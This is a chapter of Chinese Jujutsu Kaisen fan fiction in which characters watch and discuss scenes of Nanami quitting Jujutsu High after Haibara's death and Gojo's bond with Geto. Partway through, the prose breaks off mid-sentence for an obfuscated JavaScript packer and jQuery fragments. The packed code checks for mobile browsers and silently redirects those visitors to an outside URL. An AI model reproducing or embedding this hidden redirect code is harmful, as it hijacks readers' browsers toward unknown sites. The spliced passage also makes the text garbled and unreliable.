8. 何方向前
作品:《[五夏]命中劫》 【何方向前】
【“你也要走吗?”
这是东京今年的第一场雪,也是上个年头的最后一场雪。七海建人在忙碌中抽空回了趟高专,地上还残留着庆祝新年到来的彩带和气球,却没在门口瞧见一人,明显它们是在昨夜的玩闹后被孤零零地丢弃在这,只有雪与寒风作伴。他抬脚踏过这片狼藉,周围是属于早晨的寂静。他一路走向档案室,敲了敲门,无人回应。于是七海建人只能转下门把手碰碰运气,没能推开,门从外面上了锁。
他只好打电话给夜蛾,嘟嘟了好几声对面才接通。七海建人表明了自己的来意,而夜蛾正道似乎是刚醒,略有些含糊地多说了些话,“我昨天还记得这件事来着,但是五条那家伙非要搞个什么最后的聚会,不就是新年庆祝吗。”
“他闹到了很晚。”
七海建人知道的。前几天五条悟一通电话直接打了过来,试图也把自己拉上,但七海建人以企业的事回绝了他,对面的那个人听到这个回答突然安静了下来,这让他有点懊恼把拒绝的话说出口了。至少不应该以这个毫无新意的借口推辞,在他犹豫着是否需要改口的时候,对方说,好吧。然后就没有下文了。
说实话,如果他真要在这天请假,企业不会抓着人不放,暂不提七海建人还只是个实习生,他的存在可有可无。而且这个世界上迄今还没有缺了一个人地球就会停止自转的这种说法,他没有多么重要。七海建人只是不愿意来,而他不确定自己这个名义上的前辈是否知道这点。】
“我知道的,”白发咒术师停顿了下,“明明我的本意就是想给他准备一个……惊喜?”听到这话的女医师摇了摇头指出,“给他送别这个说法更准确吧。”但是他拒绝了,这也是为什么【五条悟】最后没强求的原因,人家才是真正的主角,是否到场都得按他的意愿来。
“你应该明说的。”【家入硝子】说道。
而对方眨了眨眼,反问道:“你不也没说吗?”
当时的他们都还年轻,只是还不知道该如何好好地道别。
“等等,送别?发生了什么?”虎杖悠仁摸不着头脑地问道,夜蛾正道清楚其中的缘由,但他没有开口回答这件事,他并不是当事人。
七海建人闭了下眼,简单地回答了一句,“当时发生了一些事情,所以我决定辍学。”他们从这只言片语中明白了些什么,想起这位前辈是从企业辞职重回咒术界的,那么当初他的离开也必有原因,学生怕触及他的伤心事,只是干巴巴地应了声。
“后面应该会提到的。”七海建人不愿多说什么,果然,即使在另一个世界里,这件事也没有被改变。
而从隔壁那二人的对话中知晓了所谓“聚会”的前因后果的五条悟,试图代入下他自己,不适感变得更强烈了,又是一件他没干过、想都没想过的事。那个自己如当时的年龄一般不够成熟,但也确实是试图以“人”而活着,那份算不上成功的邀请足够体现他的人情味。好吧,他想自己只能接受,五条悟无法插手改变另一个自己的想法和行为,他只是不明白,这种向来是弱者才会有的脆弱的情感真的有存在的必要吗?
【“我想起来了,”夜蛾正道突然说道,“我记得我当时怕自己忘了这件事,特意把你的档案拿了出来,放到了我的办公室里。办公室应该没上锁,等等。”他止了声。
“我有叫五条那家伙离开的时候收拾下办公室,钥匙好像被我拿给他了,我记不太清了。”他还咕哝了句什么,七海建人没听清楚,他估量着夜蛾是不是又被他们偷梁换柱灌了几杯酒。
“这个时间点五条前辈可能还在睡吧。”七海建人不确定地开口。他们都清楚五条悟的性子,暂且不提能不能在高专找到他人这回事,就只论旁人打电话过来他会不会接这件事上,难说得很,很有可能最后的结果是让对方损失一部手机。
“应该是的,他是最后一个散场的人。”夜蛾正道有点头疼地说,“你要不再等等,我等下就赶过来处理。”七海建人回绝了,“不用了,反正我等五条前辈也是等。”本来今天就是夜蛾正道难得的休假日,这也是为什么他昨天敢和五条他们闹到这么晚的原因。夜蛾清楚他不愿意多添麻烦,最后只好说有需要的话就给他打电话。
七海建人打算先去趟办公室,途径教室的长廊时,他看见了本应该还在睡的人。对方原本是百无聊赖地侧抵着墙,用手指随意地擦拭着窗口旁的积雪,察觉到了有人的到来,他转过头来,那副墨镜背后的眼睛里没有丝毫的疲倦之意、也未曾见到血丝,看不出这人是只睡了三四个小时还是压根就没睡。他自始至终看起来都是毫无弱点。
而他对这时出现在这里的七海建人并不意外,那双苍蓝色的六眼平静地直视着他,五条悟问道,“你也要走吗?”
他的语气并不疑惑、也没有任何的挽留之意,单纯得像是只为了与当事人再确定一遍这个事实。
七海建人没有开口,只是沉默地回以点头,他不愿意去想这个“也”字背后的含义。】
“灌酒?没大没小的。”夜蛾正道不禁摇了摇头,虽然这么评价,但这足以看出另一个世界的自己与他们的关系确实要好,亲密到足以戏耍他这位师长,虽然那听起来更像是玩闹。但是他自己的世界里先不谈师生关系,就连两个人的同期情谊都令他头大,一个比一个难相处。高专刚入学那会儿,家入硝子本来性子还算好,但自从认清五条悟的性格后毫不留情地一人泡在图书馆里研究医术,活得相当孤僻。而五条悟那家伙无需多提,那人仿佛生来缺少一些情感,不足以支撑他与旁人建立起羁绊,行踪也更是飘忽不定。别说玩闹了,说上几句话都算难得。
家入硝子重复了一遍,“也?”她知道那指的是谁。五条悟开口指出,“夏油杰他在第三年就叛逃了。”上一轮观影里的校长提到过这点,而那件事也发生在同一年,五条悟思索着其中是否有些关联。
学生们的关注点倒是又奇怪了起来,“好年轻啊,”虎杖悠仁感慨了句,“不管是七海前辈,还是五条老师。”钉崎野蔷薇嚷嚷着,“特别是后者,他是怎么做到十年来都没什么变化的?”他们尚且凭借着头发的金色与一向沉稳的表情,才敢断定那是年轻的七海建人的模样,而五条悟则是戴上墨镜或者眼罩就完全是两种不同的风格,倒是他那遮掩物之下的面孔仿佛没有被岁月摧残过。五条悟拉长了语调,像是毫无炫耀之意地开口,“是天生的啦——我也没办法。”
“都很年轻。”家入硝子不由地想到,在普通人每天无忧无虑最多只为作业和成绩发愁的年纪,她的学弟一个因任务身死,另一个因打击过大而辍学。而她只活在影片中的薛定谔同期,也早早地踏上一条偏离正道、充斥着更多暴力与血腥的道路。至于五条悟,一个因无论哪种意义上都是最强也能过得无忧无虑,一个却在同期后辈的离去后领悟到失去的含义。
【七海建人也曾问过自己很多遍,一遍又一遍重复着同一个问题——真的要离开高专、离开咒术界吗?答案不总是相同。他曾逼着自己装作一切都没有发生过,继续照常生活出任务,但在他重新使用术式来祓除咒灵的时候,他感觉到自己的手在抖。即使七海建人知道按自己正常的水准,一个二级咒灵不足为惧,但在那丑陋的怪物身躯面前,他想到了死亡。
他曾近距离地接触过死亡。那不幸并没有降临到他的头上,但七海建人记得很清楚,当属于同伴的血液由滚烫逐渐变得冰冷,死亡的气息一步步地逼近时,他并不是在畏惧自己的死亡。在他进入东京高专、选择成为一名咒术师的时候,他就想着自己已经没有回头路了,哪怕面对不太靠谱的前辈、不太走心的任务,他也曾说过“咒术师就是狗屎”这种话。
但七海建人却从未想过自己在未来的某一天会想要选择抛弃咒术师这个称号。他在一开始,料想的就是自己有朝一日或许会死在咒灵的手中,但设想终究是设想。事实上,他并没有做好充足的心理准备。
至少七海建人从未想过死亡会来得那么快,那么猝不及防以至于让人防不胜防,但这真的很令人意外吗?
咒术师向来是个高危职业,人源少又死亡率极高,面对咒灵时刻都有不能将以性命作注的赌注收回的可能性。他也听闻过有高专的学生出任务不幸身亡的例子。只是、只是,早他一届的前辈太强了,强到足以使人忽视现实里的反差,让当初的七海建人无端生出某种错觉,天塌下来了也有那两个最强挡在前面。那是一种由足够信任而生出的安心感。】
原本学生间轻松的氛围又消失得无影无踪了,而五条悟被从天而降的信任砸得猝不及防,他少有地手无举措起来,语气稍有复杂,“七海,我没有想到你居然是这样认为的吗?”
当事人慢了半拍才从影片中回过神来,他摇了摇头,实诚地说道:“至少我没有这么想过。”
被这句话打击到的白发教师没有再开口了,他陷入了自闭中。而学生们一时间也没人跳出来说一些什么安慰的话,或许没人能违心地说他们这边的五条悟能给人带来类似于安全感这样的东西,即使他是实打实的最强,能够轻易地解决旁人眼中极为危险的特级咒灵,平时也总是一副笑嘻嘻毫无距离感的样子。但伏黑惠清楚,这位最强咒术师并不是那么地在乎他人的性命,哪怕他的同伴们谁也没有言明,但他们都或多或少能感知到。
他并不是那么的可靠。
【可很多事情并不会如人所愿,现实是那么残酷,咒术师之间切实存在着一种该死的宿命,必会有人成为与咒灵无休止斗争中的牺牲品,意识到这点后,七海建人所有不切实际的以为统统在残酷的现实中如泡沫般轻易被碾碎。他人生第一次这样如此直白地领教到了来自命运的深深恶意。
有段时间他常常想,这是否是早就注定好的,死亡是否无可避免。对于活下来的人说那并不是一种侥幸,反而是痛苦、是折磨、是自我怀疑。那黏稠的血液至今都仿佛还沾染在七海建人的手上,无人能阻止死亡,他不能,反转术式拥有者不能,最强咒术师也不能。
他无法忘却那一切,那段记忆在反复回想中愈是鲜明,灰原雄的面孔是如此的真实、如此的熟悉,但他的表情却令七海建人感到无比陌生,无比心惊,在此之前他从未在灰原的身上见过这种神情。
原本双眼里明亮轻快的光黯淡下去,厚重的灰败覆盖上他的脸庞,他向来开朗笑着的脸上是无法排解的痛苦。七海建人想,那肯定很疼。不然,他的搭档怎么会露出这副模样。当时的他甚至希望那疼痛可以转移到自己身上来。但他只能说,“灰原,你再坚持一下——很快、很快,救援就会来,五条还有夏油前辈,他们能解决好这一切……家入小姐她肯定能救你,她肯定能……”在混乱中他也不清楚自己还说了些什么,他只是想要极力证明灰原雄一定能被救下来的真实性。但下一刻,他停住了,七海建人感受到灰原的手极轻地触碰到了自己的眼角,视野里的血污是如此的触目惊心。
他似乎想要露出一个笑容,但嘴角却只是勉强地动了下,想说出口的话被喉咙里的血堵住了,但有的人一个眼神就足以代表一句未言之语。灰原黯淡的眼里不只有身体受到伤害而带来的痛苦之意,还有他无法用语言表达的歉意。他张了张口,未发出声音,但七海建人还是辨认出了那口型。
他说,对不起。
对不起,为我就这样留你一人的离去。对不起,为你以后由此而生的所有痛苦。
你看,在死亡面前,你的搭档也是如此了解你。
这些话适用于咒术界所有失去后再无搭档的咒术师。】
“我很抱歉。”女医师开口说道。
她见证过很多死亡。有的生命就在她的手下流逝,反转术式也无能为力,【家入硝子】应该比谁都要看得开,手术刀拿得起放得下,倘若她因没有挽回一人的性命就耿耿于怀,那么午夜梦回时必然有无数个鬼魂与她纠缠不休。这么一想,某个人睡眠始终很糟糕是有原因的。但女医师则不尽然,大多时候她因休息时间匮乏而能够直接秒睡,梦里没有鲜血,没有尸体。
一开始,年轻的【家入硝子】也曾为第一条无法挽回的死亡感到深深的无力,她把自己关在女寝里不出来,也不让旁人进来,消息不回,电话不接,整个就是失联状态,然后夏油杰叫上五条悟直接破门而入,把她拖了出来。他把不知道从哪弄来的一整箱啤酒扔在她面前,他说我们不醉不归,他说我在这呢,我们都在,他说你要哭就哭吧,我不会嫌弃你丑的。这句话落下后她再也忍不住了,她边哭边骂,骂夏油杰五条悟,骂咒灵咒术师,骂这个世界,泪水与酒精混杂着一并吞入喉中,她只觉得又咸又苦。【家入硝子】耗尽所有的力气去宣泄,到最后,夏油杰递给她一张纸巾,他说,那不是你的错。他说,你救不了所有人。倘若你只因一个人的死亡就困在原地,那么接下来会有更多的人死去。他说,你已经尽力了。最后这个人用无比坚定的语气说,你可以救很多人的,硝子。
现在女医师再想起这些话来,她仿佛再一次尝到了十多年前的那口又咸又苦的酒味,我救不了灰原,我也救不了你。如果时间能回到十年前,我会在那个夏天把你曾经对我说过的话统统还给你,把你狠狠地骂醒。
他是那样的矛盾,对自己就苛求到往死胡同里逼。
“那不是你的错。”白发咒术师说得坚定。熟悉的话语让【家入硝子】恍惚了一瞬,这在十年前是那个心高气傲、自尊自大的最强绝对说不出来的话。但若是现在的他,他的那帮学生虽然天天嫌弃他不正经,但关键时候他们都会毫不犹豫地将信任交付给这位老师,这足以说明他的可靠。于是这句话由他说出口,倒有几分劝慰的意思在里面。
【家入硝子】没有把这话接下去,女医师无须向谁的死负责,没能救回不是她的错,但这只是出于医生的这个身份。而作为前辈、友人,她无疑是失职的,没有尽到她应有的责任,无论如何【家入硝子】都欠一句抱歉。但是她也清楚,这句话无法传达给他们中的任何一个人了。
他们没有一个人说话,在当事人面前揭开伤疤实在是太残忍了,七海建人只作沉默,他没有谈及任何人、任何事,不愿意袒露他的任何想法,而影片中自己的心声却挑明了一切,即便有所出入,但死亡永远都是最真实的。
学生们大多都对死亡很陌生,哪怕是虎杖悠仁死了又活了,一年级生和二年级生尚且都整整齐齐。而那早一辈的却是付出了血的牺牲,将咒术界最残酷的一面赤裸地摆在他们的面前,他们由此知晓如今他们所坚持的道路沾染着无数前辈的鲜血。
而当下他们当真会畏惧吗?他们虽然才踏上这条路不久,但能托付生死的同伴就在旁边,都拥有着一颗跳动着的赤子之心,他们依旧满怀希望,尽力去做自己能做的。这么一想,好像所有的事情都还没有到很坏的地步。
注意到学生那边情绪的变化,五条悟的视线在那些年轻却不失坚毅的面孔上停留了一瞬,倒是成长了一点,他懒懒地想着,只是实力不够强的话什么都只是白费功夫。他将目光收回之时无意间和家入硝子对上了眼,后者和自己显然都无意在这时开口,她先转过头去,没有再看他。
五条悟倒是从中察觉出了对方对自己的态度有点不太一样了,他好像更不受自己这位女同期待见了,而这和影片播放的内容脱不开关系,看起来家入硝子反倒更在意他的那个同位体。不过她要是真把她自己代入到隔壁的那个世界,到时候无论哪种结果都会很难看,最强咒术师漫不经心地想着。
【对于他的答案,五条悟不是很意外,他坦然地接受了最后这个后辈也要离开的事实,既没有追问为什么,也没有挽留。这让七海建人有种错觉,他好像已经对一切的失去都可以无动于衷了,又或者是说,他早已感受过前十八岁人生中最为痛苦的失去,那种融于自身血肉中最紧密的一部分被人硬生生割去的疼痛。以至于之后所有的痛楚都不能比那再难以忍受了。
“五条前辈,”当话音落下后的一秒,七海建人意识到那是他在说话,心里中仿佛有种想要求证什么的冲动迫使他自己开口。只是才唤出一个称谓,反应过来的七海建人就知晓他想问的那个问题并不适宜继续问下去,人物不对,地点也不对,时候也不对。
——你也会逃避吗,这句话七海建人终究是没有问出口。
不同于他是妄图逃避已经降临过的死亡,最强咒术师会想要逃避另一个人将至未至的死亡吗?他的同期,他的挚友,他的唯一。
七海建人听说了在前特级咒术师的死刑令下达后,是五条悟第一时间跳出来接下了这个任务,那些即使怀疑他有私心在内的高层也无法插足其中,而另一些看热闹的人却在旁边看笑话般,那在当时成为了咒术界一大饭后谈资,他们大谈特谈最强二人组的解体,说一个人背叛说一个人活该。
直到现在已经过去了半年,都跨入了下一个新的年头,行刑者依旧丝毫没有动作,被问及此只敷衍地给一句没有碰到对方就再等等吧我忙得很。但明眼人都瞧得出恐怕五条悟这话也只是嘴上说说罢了,按现在他的实力来算,毋庸置疑的是,最强这个名头只属于他一个人了。瞬移这种术式可以使他自己轻松而简单地出现在日本任何一个地方。不是碰不到,而只是其中有一人不愿意碰见。】
“等等,挚友?他是指五条悟和——”钉崎野蔷薇停了下来,没有将那个名字说出来,她的神情像是听到有人说太阳从西边升起那般,是纯然的不信和荒谬。在场所有人都没有料想到,不仅仅是和女医师那般一样的友人,他们还是彼此间灵魂最为贴近的挚友。
同期之间相处久了或多或少都有点感情,然后就可以理所当然地晋升为普通朋友,但挚友不一样,这个称谓太珍贵了,太稀少了,几乎就是唯一。更何况拥有它的人是最强咒术师。友人和挚友的界定从来都不一样,后者足以让人拥有后无法再忘却,倘若世上还有比你自己还要了解你的人,那么就是你的挚友。
“我倒是认为真实性有待考证。”五条悟把这话说得轻飘飘的,但家入硝子没有错过他脸上一闪而过的讶异。“承认一个人对你很重要,就那么难吗?”她就坐在五条悟的旁边,稍稍抬头就可以望进这人的眼底,平常用来遮挡的眼罩早就被拉下来了,他依旧还是那副什么都入不了他眼的样子。
五条悟极为坦然地说,“不是我,”就算从师长、后辈以及他自己口中透露出夏油杰与自己关系匪浅又怎么样?就算那些倾露出的情感如此真实而让其他人引起共鸣又怎样?对于他本人而言,这些只是无聊的消遣罢了,观影这个存在也是一样的。“他不是我,我希望你能记住这点。”他说道。
周围的人都没有试图插入他们的对话中去,这两人的关系不知怎么着,自从进了这里就肉眼可见的紧张起来,好像他们之前有一笔烂账,但直至现在才开始清算。
影片迄今未曾放出五条悟的同位体与那人相处的片段,家入硝子想那就是他们之间存在分歧的最大原因,哪怕只是几秒,是停留下来的匆匆几句话,只要一个眼神,有关这个人你所知道的一切,就通通都化为了不能排除在外的存在,始终如一。
家入硝子始终记得,他望过来的眼神安静而温柔,不混有任何杂念地注视着另一个自己,就好像也是在注视她一样,剥离了那些所有披露在外的称谓,不是反转术式的拥有者,不是东京高专的校医,而是作为家入硝子本身。
仅是一个眼神,就告诉了你他有多了解你,他就像是一个认识了你很多年的熟人,只要回头他就一直在原地。他是如此深切地回望。
于是她轻轻地说,“倘若你和他对上眼,只需要一个眼神,你就能知道我在问的是谁了。”家入硝子问的从来不是另一个【五条悟】。
白发咒术师对灰原雄的印象还停留在记忆里那个笑着称呼学长的后辈,他未曾见证过他死后所保留下来的样子。在【五条悟】解决完当时他自己的那个任务前,死去的人就已经被火化了。他只赶上了灰原的葬礼。见到那对突然一夜之间仿佛老了十几岁的父母,他们的眼角是再也流不出一滴泪的红肿,甚至只有靠着彼此搀扶才有站在这里的力气。身边跟着同样极度悲痛的少女,那是灰原的亲妹妹。他们都是灰原雄尚且还在人世的至亲,唯独他自己不在。
当时的他近乎无措地站在这里,周围的人都在为那名后辈早早地死去而感到深深的悲伤,但【五条悟】并没有那样。恍然意识到自己在其中的格格不入,他下意识地转过头来望向旁边的黑发挚友,那双眼里是痛苦,是疲倦,是哀伤。这是他第二次见到这样的夏油杰,『杰你没事吧?』当初的他如此问道,而后者的回答仍然是没事。
可根本就不是这样,一如之前的很多次,之后的很多次。灰原雄的死讯是夏油杰告知他的,他一个电话打过来给还在哪个不知名的小村庄里出任务的【五条悟】,那个任务并不是很难,但找到目标却需要耗费一些时间。他在电话那头跟他说,悟,灰原死了。他的语气听起来异常的平静,最强在他的话语落下后的零点一秒意识到了那句话是在说什么,灰原怎么了,又是谁死了。需要我现在赶回来吗?他只会这么问道,六眼神子根本不知道这个时候该说什么,该做什么,而他的任务还没有完成。
电话那边沉默了下来,他也跟着沉默,夏油杰最后还是开口说不用,完成任务后你再回来吧。【五条悟】当时问,你还好吗杰。他却只是回答,没事。于是当时的最强相信了,之后的那次葬礼上他也信了。他是如此的轻信这个人,又或者只是当时的自己看见得太少,没有看见那片深紫色之下的痛苦、疲惫、脆弱,将他的脊梁沉沉地折弯,而夏油杰本人也只是咬着牙闭口不言。
那个时候的六眼太过自以为是,他以为一切又都会恢复到本来的样子,总想着无论如何另一个人都能赶上自己的脚步,他们仍能并肩,过去的就让它过去,生活还会继续向前,没有人能够停下。但直到后来,不久后的某一天,电话那端变成了打不通的无人接听,他就这样离开了。
名为夏油杰的人类让六眼神子跌落得猝不及防防不胜防,顺便轻易地将最强原本无坚不摧的心口上开了个大洞,以至于他之后总是对那人束手无策,输了一次就会怕第二次,他不愿意去想他们下一次见面,最后一次见面,他输不起。
逃避的话,是个人都会如此。可是往后的所有日子里他那挚友仿佛无处不在,即使在这时,他也依旧如一个鬼魂般,始终无法逃避。
【五条悟、夏油杰以及家入硝子,这三人关系好打从七海建人入校没几天就领教到了,尤其是五条悟和夏油杰,甚至是时常让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299971|167130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唯一的女同期对他俩都忍受不了的程度。
对于前辈们那些无伤大雅却又玩心很重的恶作剧,七海建人起初还以为夏油前辈至少是没有参与进来的,但相处之下没多久就认清楚了这人的本性,看起来比谁都要无辜,表面上犹豫着说这样真的好吗,实际上行动得比谁都要快。但他一向知道分寸,玩笑点到为止,不会去触碰别人的底线,这样看的话那些恶作剧反而成为了加强人际交流的最好助攻。
而五条悟则不在意这些世俗规矩,他向来不在乎,却又一向以夏油杰的行为认定准则,嘴上说着烦,却又老老实实地按照了对方口中的正论来。家入硝子倒是其中难得正常也靠谱的前辈,但也愿意跟着那两人乱来,只是七海建人和她的交流并不算太多。
虽然这么说着,七海建人始终认为,相较之下,夏油杰是他们当中最好的那一个。灰原虽然最后没将这话说出口,可也是这样想的。那人总是为他人着想,在一些细节上的地方格外体贴人,这是连家入硝子都很少注意到的。但同时,他也很傲慢,如他自己的术式般是与生俱来的傲慢,当时的七海建人、家入硝子甚至夜蛾正道都包括在内,都认为这很正常,基于强大的实力而性格区别于常人,傲慢也不足见怪。
只是谁也没想到正是这份傲慢害了他。
在七海建人的印象中昨日夏油杰还在说着强者就要拯救弱者,咒术师就要保护好非术师的性命,而旁人对前特级咒术师的评价,就从短短的半年内浓缩成了傲慢这个词眼。因为他傲慢,所以他就是这般邪恶,他就是杀人的刽子手,他就会是极恶诅咒师。
可是直至现在,七海建人都能记起那人当时说出口时语气的坚定与真心。】
“真的是笨蛋。”女医师上一次说这句话是在很多年前了,她曾毫不客气地嘲笑,却又带着点亲昵的意味在里头。她深知自己这位友人的秉性,在一半咒术师都在划水以图活命,他却做到自己所说的那般,咒术师的存在就是为了保护非咒术师,那是曾经他一直在做的事。他确有一颗想要拯救他人的心,她笑他,却打心底认可那人的这份善。
至于之后,他们都知道发生了什么,从最初的少年模样到青年这个年龄阶段,其中也不过是十年多的时间,比起人的一辈子,说短也不短,说长也不长。都说人心易变,识人不清,【家入硝子】却一直认为有个人是个彻头彻尾的笨蛋,始终如此。
而在这十多年中也有另一人守着他原有的初衷,继续他未完的责任,女医师转过头来说道:“你也是。”
之前是,现在也是。
“我吗?”白发咒术师笑了起来,好像这个称呼勾起了只有他们知道的一些往事,“那我绝不是那个最想不开的人。”
“你们都一样。”【家入硝子】这样回答。
他只笑。
很难以想象,极恶诅咒师曾说过这种话,他也曾是一名咒术师——强者拯救弱者,即便是在咒术界也很少有人会这么说,他是如此的坚定。包括女医师以及最强咒术师对话中展露出来的语气,好像在告诉他们,他并不纯然罪恶,也并不纯然无辜。“他在当时抱着什么心态说出这句话来,又在之后以什么样的想法去残忍地夺取他人的性命?”虎杖悠仁问道。
家入硝子从中窥见了夹杂在善与恶之间徘徊不定的一个影子,他也挣扎过,他也怀疑过,他也痛苦过。“或许对于他来说,背叛是双向的。”
若不是他原先信奉的理念背叛了他,他怎会剑走偏锋到这一步?
“到底发生了什么?”这不是学生第一次问了,可现在依旧没人能给出这个问题的答案。
【七海建人停顿的时间有点长了,万千思绪在脑里擦过也不足半分钟,而对面的前辈却误会了他的意思,五条悟摇了摇手里的东西,钥匙的晃动声在空气里显得格外的清脆,“你的档案被放在了夜蛾的桌上。”
此时的他不知该如何做出回应,到最后说出口的也就是一句生硬的谢谢,五条悟并不在意,只是在七海建人转身的那一刻,他说:“离开之前去一趟医务室吧,硝子想见你。”
然后,他说出了那句最像道别的话,“再见,七海。”
于是当七海建人来到医务室门前,他仍有一种恍惚感,门里的人很快注意到他的存在。家入硝子刚结束完一场手术,似乎已经提不起更多的力气来,现在就安静地靠着雪白的墙壁抽烟。
这让七海不确定自己是否应该在这个时候出声,而她本人却是见到了来人后直接发问道,“你要离开了?”
“是的。”他回答。
女医师搌灭了烟头,“也好。”她能说的不多,手术台上的血液仿佛永远都洗不净,她知晓咒术师的死亡有多么的轻易,生命有多么的脆弱。她不会挽留,生死从来都没有掌握在她的手中。
只是有一句话是她必须要说的,家入硝子在这时只是作为一个前辈的身份,“我很抱歉。”
七海建人知道她在说什么,他摇了摇头,说出了那句对方再熟悉不过的话,“那不是你的错。”
而在这时,七海建人突然想起,在一个夏日的时候,夏油杰也曾说过这样类似的话,他说。
“对不起。”
但是七海建人也始终无法讲清楚这些都是谁的错。终是要散场的,属于他青春的尾声也落下了帷幕。
而在那之后当他重返高专又是很多年后的事了,只是一句话就让七海建人回到了咒术师的行列里。他知道自己逃避不了一辈子。
最强咒术师找上门来时,七海建人问他要一个缘由。
他给出了这个后辈一个最无法拒绝的理由,“夺走年轻人的青春不可原谅。”】
青春,一切的伊始,他们最初的模样,却在往后的岁月与磨难中变得面目全非。五条悟终于意识到自己遗漏了什么,那是他最不屑一顾的东西。而另一个自己却藉由这些日子生发的理念而踏上了变革之路,倒也算是永不回头。
“夺走年轻人的青春不可原谅。”
他不再年轻了。家入硝子无需开口去问说出这话的人,即使在他活过的大多岁月里,最强咒术师一直被冠以六眼神子之名,但他仍然是个人,人都会成长,然后走向衰亡,他也并不例外。只是在年轻不复、过去已然成为他人口中的寥寥几语的时候,最强又是以什么心态把这句话说出了口,他念及的青春是那刚踏入咒术界的虎杖,还是曾经身为后辈的七海,亦或是十年前的他自己?
“我不知道这么说是否合适,”家入硝子想起来在所有人还在现实中的高专里时,一年级生曾私下问过身为同期的校医,五条悟是个怎样的人,她不记得自己给出的答案了,但无非是那些轻佻的贬义词,而现在她坐在这里,不看向任何人,她不需要他人的认同和回答。她说:“他是一个很长情的人。”
五条悟清楚她在说谁,他却无法为另一个自己反驳这种说法,他不至于眼瞎得分辨不清那张与自己一模一样的脸上的神情,是只会在熟人面前不经意露出的神情,自己虽是笑起来的,语气却是无比的认真。这很奇怪,哪怕他听过白发咒术师说过再等下一个冬日、你也要离开吗这种话,也没有这句话来得坦诚与直白。它敲碎了五条悟所感受得到却触摸不了的那个断层,轻轻的一下,露出了背后真实的面目——他有一段始终无法忘怀、弥补得上的过去,以至于日后的无数年里他都行走在那过去的影子之下。
为情所困,他不由地想到了这个陌生的词。
“这都让我怀疑起他的名字是否叫五条悟了。”胖达小声地说,但在场的人都听得到。
学生们不经意间转头对上彼此的眼神,很快又收了回去,藏起心底没来由的一丝羡慕,无论怎么说,隔壁世界的他们在那个最强咒术师的心中总归是占了点重量的,在他的改革中的位置也不可或缺,这么一想,他们相处起来应当会更亲近点。
家入硝子能想到的,女医师不会没有想到。你说这话时想到的人是谁?从她最开始不经意听到的一个叫天内理子的女孩的名字,再到灰原、七海,然后是夏油、她,你自己。那个属于旧日的时代剥夺了太多人命与希望,我们曾都拥有过这两样东西,直到现在,剩下来的人还试图弥补、修正这个残缺的世界。
最强咒术师所留有的遗憾不比校长少,她清楚他想做什么,他做这一切是为了什么。【五条悟】不只把这句话说给过后辈听,女同期也曾听他说过同样一句话,并那时相信他能做到,其余知情的人或许也都相信。最后的结局不会令所有人都皆大欢喜,但她想总归能变好一点,世界在过去的残墟上继续成长。
然而世界倒塌了。十多年前七海曾在另一个后辈的尸首前对她说过,我侥幸逃过了一死,但灰原没有。十年后他终是等来了这场迟来的死亡。而她的师长算是他们当中活得最长的那个,哪怕做成了校长的他却也紧随其后闭上了眼。连那尚未成长起来的学生如今也是历经腹背受敌、孤立无援种种危险,生死亦都难测。
“五条,有时候我感觉我们像个笑话,到头来都是白费力气。”女医师落下这样一句话,这句话背后的深意让隔壁的人脸色都微变。
“她这么说,”虎杖悠仁后知后觉地反应过来,“后面是发生了什么吗?”
还有能比同期的叛逃,后辈一死一离开更糟糕的事情了吗。
夜蛾正道皱起了眉头,“我有一种不好的猜测。”
比如,更多的死亡。
“一切都会好起来的。”白发咒术师把这句话念得很轻,死的人已经够多了。按照既定的顺序,现在也将成为过去,从废墟上重新生长的会是一个更好的世界,但人死不能复生。他也等不了那么久。
“你会恨我吗,硝子?”【五条悟】的声音足够轻,隔壁的人只能看到他动了动嘴。
女医师从中猜到了些他想要表达的意思,她也以极轻的语气回答,“恨你什么,你的自作主张吗?”她的嘴角难得舒展开了一个笑容,“拜托,从我认识你那天起,我就知道你会是个自作主张的混蛋。”
“可是当下,你别无选择,我们都没有。”
七海建人沉思了一会,问道,“按影片播放的顺序,下一个会是谁?”前排座位的四个人都已经轮完了自己的主场,但观影还没有结束。
“不用猜测,故事的情节会按照既定的顺序展开不是吗?”五条悟说得轻巧,手掌却碰上了那面镜子,感受到了冰冷的温度。他隔着玻璃望向另一个自己,他看不见他的存在,也没有感知到,一切都按照既定的顺序进行着。
“只是我依旧不明白你的用意。”五条悟手下的力道一重,手指紧按着那镜面,仿佛只需再用一点力就可以打破这面镜子了。
【禁止触碰】
鲜红的字迹再次跳了出来,但五条悟无动于衷,最强的威压在这一刻显露,他接着问下去,“还有多久结束?我们待在这里的时间够久了吧。”
在这场对峙中,旁人都只是看着,没有其他人说话,他们也都想要一个答案。有一方不得不妥协下来。
【播放完下一轮,就是最后一场了。】
五条悟停下了手中的动作,他收回了手,“我并不认为你会将所有的东西都告诉我们。”
“不过,”最强在心底念及有一人的名字,“接下来最好别让我失望。”